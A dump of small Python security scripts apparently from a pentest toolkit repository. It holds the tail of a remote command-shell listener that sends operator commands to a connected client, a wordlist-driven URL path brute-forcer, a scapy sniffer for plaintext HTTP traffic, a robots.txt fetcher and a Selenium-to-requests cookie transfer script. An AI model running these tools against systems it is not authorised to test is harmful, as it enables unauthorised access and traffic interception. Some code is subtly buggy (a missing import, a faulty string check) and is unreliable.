{addr[0]}') 33 | listen_results(conn) 34 | 35 | def listen_results(conn): 36 | while True: 37 | results = conn.recv(4096).decode('utf-8') 38 | print(f'-------- Received Message from Client --------') 39 | print(results) 40 | command = input('Send command to client: ') 41 | conn.sendall(command.encode('utf-8')) 42 | if command == 'die': 43 | sys.exit(1) 44 | 45 | if __name__ == '__main__': 46 | main() -------------------------------------------------------------------------------- /web_brute.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | ''' 5 | Author: Mike Felch (c) 2020, @ustayready 6 | - 7 | Copyright 2020 Mike Felch 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 10 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 18 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | ''' 20 | 21 | def main(filename, base_url): 22 | with open(filename, 'r') as file: 23 | for uri in file.readlines(): 24 | url = f'{base_url}{uri.strip()}' 25 | check_url(url) 26 | 27 | def check_url(url): 28 | try: 29 | h = {'user-agent':'firefox'} 30 | response = requests.get(url, headers=h) 31 | if response.status_code == 200: 32 | print(f'{url} is good!') 33 | except: 34 | print(f'{url} is bad') 35 | pass 36 | 37 | if __name__ == '__main__': 38 | base_url = sys.argv[1].rstrip('/') 39 | filename = sys.argv[2] 40 | main(filename, base_url) -------------------------------------------------------------------------------- /web_robots.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | ''' 4 | Author: Mike Felch (c) 2020, @ustayready 5 | - 6 | Copyright 2020 Mike Felch 7 | 8 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 9 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 16 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 17 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 18 | ''' 19 | 20 | def main(url): 21 | robot_url = f'{url}/robots.txt' 22 | response = requests.get(robot_url) 23 | print(response.text) 24 | 25 | if __name__ == "__main__": 26 | url = sys.argv[1] 27 | main(url) 28 | -------------------------------------------------------------------------------- /web_sniff.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | ''' 4 | Author: Mike Felch (c) 2020, @ustayready 5 | - 6 | Copyright 2020 Mike Felch 7 | 8 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 9 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 16 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 17 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 18 | ''' 19 | 20 | def main(): 21 | sniff(prn=http_header, filter="tcp port 80") 22 | 23 | def http_header(packet): 24 | http_packet=str(packet) 25 | if http_packet.find('GET'): 26 | return print_packet(packet) 27 | 28 | def print_packet(packet1): 29 | ret = "-------------------------------[ Received Packet ] -------------------------------\n" 30 | ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n")) 31 | ret += "---------------------------------------------------------------------------------\n" 32 | return ret 33 | 34 | if __name__ == '__main__': 35 | main() -------------------------------------------------------------------------------- /web_spa.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from bs4 import * 3 | from selenium.webdriver.support.ui import WebDriverWait 4 | from selenium.webdriver.support import expected_conditions as EC 5 | from selenium.webdriver.common.by import By 6 | from requestium import Session 7 | 8 | ''' 9 | Author: Mike Felch (c) 2020, @ustayready 10 | - 11 | Copyright 2020 Mike Felch 12 | 13 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 14 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 15 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 16 | 17 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 18 | 19 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 21 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 22 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 23 | ''' 24 | 25 | def main(url): 26 | session = Session(webdriver_path='../Chrome Canary/chromedriver.exe', 27 | browser='chrome', 28 | default_timeout=6, 29 | webdriver_options={ 30 | 'arguments': [ 31 | 'disable-logging', 32 | 'headless' 33 | ] 34 | } 35 | ) 36 | 37 | session.driver.get(url) 38 | div_content = WebDriverWait(session.driver, 5).until( 39 | EC.presence_of_element_located( 40 | (By.XPATH, "//div[@id='content']") 41 | ) 42 | ) 43 | print('######## FROM SELENIUM ########') 44 | print(div_content.text) 45 | 46 | print('######## COPYING SESSION FROM SELENIUM TO REQUESTS ########') 47 | session.transfer_driver_cookies_to_session() 48 | final_response = session.get(url, headers={'user-agent':'custom requestium'}) 49 | 50 | soup = BeautifulSoup(final_response.text, 'html.parser') 51 | print('######## FROM REQUESTS ########') 52 | body_text = soup.find(id="content") 53 | print(body_text.text) 54 | 55 | if __name__ == '__main__': 56 | url = sys.argv[1] 57 | main(url) 58 | 59 | --------------------------------------------------------------------------------